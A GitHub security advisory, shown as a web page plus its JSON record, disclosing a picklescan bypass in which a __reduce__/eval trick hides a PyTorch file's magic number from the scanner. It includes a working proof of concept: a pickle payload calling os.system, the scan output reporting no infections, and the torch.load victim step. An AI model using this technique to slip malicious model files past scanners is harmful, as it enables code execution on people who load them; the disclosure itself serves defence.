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GHSA-97F8-7CMV-76J2

Vulnerability from github – Published: 2026-02-18 17:45 – Updated: 2026-06-18 14:43
VLAI
Summary
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Details

Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T17:45:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch\u0027s implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n    class payload:\n        def __reduce__(self):\n            return (eval, (\u0027MAGIC_NUMBER\u0027,))\n\n    pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n    def __reduce__(self):\n        return (__import__(\u0027os\u0027).system, (\u0027touch /tmp/hacked\u0027,))\n\ntorch.save(payload(), \u0027./payload.pt\u0027, _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load(\u0027./payload.pt\u0027, weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
  "id": "GHSA-97f8-7cmv-76j2",
  "modified": "2026-06-18T14:43:46Z",
  "published": "2026-02-18T17:45:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER"
}



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